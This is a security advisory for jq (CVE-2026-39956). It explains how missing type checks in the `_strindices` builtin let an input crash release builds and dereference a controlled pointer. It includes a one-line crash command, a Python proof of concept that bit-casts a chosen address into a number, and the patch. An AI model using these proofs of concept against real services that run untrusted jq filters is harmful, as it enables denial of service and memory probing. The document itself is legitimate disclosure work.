jq _strindices missing runtime type checks lead to crash and limited memory disclosure

Moderate **itchyny** published **GHSA-6gc3-3g9p-xx28** yesterday

Package

jq

Affected versions

1.8.1-dev commit 69785bf

Patched versions

none

Description

Summary

`_strindices` is the C builtin used by `indices` / `index` / `rindex` for string inputs. Its wrapper passes both arguments straight to `jv_string_indexes()` without checking that they are strings, and `jv_string_indexes()` itself only uses `assert()`. In release builds those checks disappear under `-DNDEBUG`. `_strindices(0)` is enough to crash jq, and the same bug also gives an attacker controlled pointer dereference and a limited read/probe primitive.

Details

commit `69785bf77f86e2ea1b4a20ca86775916889e91c9`, `_strindices` is implemented in `src/builtin.c` like this

```
static jv f_string_indexes(jq_state *jq, jv a, jv b) {
  return jv_string_indexes(a, b);
}
```

`jv_string_indexes()` in `src/jv.c` then blindly assumes both given args are strings:

```
jv jv_string_indexes(jv j, jv k) {
  assert(JVP_HAS_KIND(j, JV_KIND_STRING));
```

```
  assert(JVP_HAS_KIND(k, JV_KIND_STRING));
  const char *jstr = jv_string_value(j);
  const char *idxstr = jv_string_value(k);
}
```

In a debug build the assertions fire. In a normal release build they are compiled out, and jq dereferences `j.u.ptr` as if it were a valid `jvp_string *`.

when the assertions are gone, `jv_string_value()` treats `j.u.ptr` as a string header and `jv_string_length_bytes()` reads a length from that same fake object. This results in either 1. an easy crash with invalid input 2. a limited read primitive when a crafted number is used so its bit pattern is treated as a pointer. The number being crafted matters because default jq builds use decnum. A plain numeric literal doesn't give control of `u.ptr`, but arithmetic such as this does: `(<bit-cast double> + 0)` reaches `jv_number(double)` and stores the IEEE-754 bits of that double in the same union field which is later read as `u.ptr`

PoC

Crash:

```
jq -n '_strindices(0)'
```

Controlled pointer dereference:

```
import struct, subprocess

def as_double(u64):
    return struct.unpack("<d", struct.pack("<Q", u64))[0]

# because we want jstr = addr, the fake jvp_string sits 16 bytes earlier
addr = 0x4141414141414151
expr = f"({as_double(addr - 16)!r} + 0) | _strindices(\"\\u0000\")"
result = subprocess.run(["jq", "-n", expr])
print(result.returncode)  # sigsegv in python
```

Impact

Anything that runs untrusted jq filters against a release build can be crashed very easily. If the system uses a fixed jq query (such that does not use the internal `_strindices` filter), it is not affected. The same bug also gives limited read behavior because values which are not strings can be treated as fake string objects and walked by `_strindices`. In a real deployment that means an attacker can use the exit status as a mapped/unmapped probe, and in favorable cases can get some bytes back through the `_strindices` position output.

Fix

reject non-string inputs before calling `jv_string_indexes()`

```
static jv f_string_indexes(jq_state *jq, jv a, jv b) {
  if (jv_get_kind(a) != JV_KIND_STRING) {
    jv_free(b);
    return type_error(a, "cannot be searched, as it is not a string");
  }
  if (jv_get_kind(b) != JV_KIND_STRING) {
    jv_free(a);
    return type_error(b, "is not a string");
  }
  return jv_string_indexes(a, b);
}
```

Severity

Moderate 6.1 / 10

CVSS v3 base metrics

Attack vector	Local
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	Low
Integrity	None
Availability	High

Learn more about base metrics

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H

CVE ID

CVE-2026-39956

Weaknesses

- CWE-125
- CWE-476
- CWE-843

Credits

tlsbollei Reporter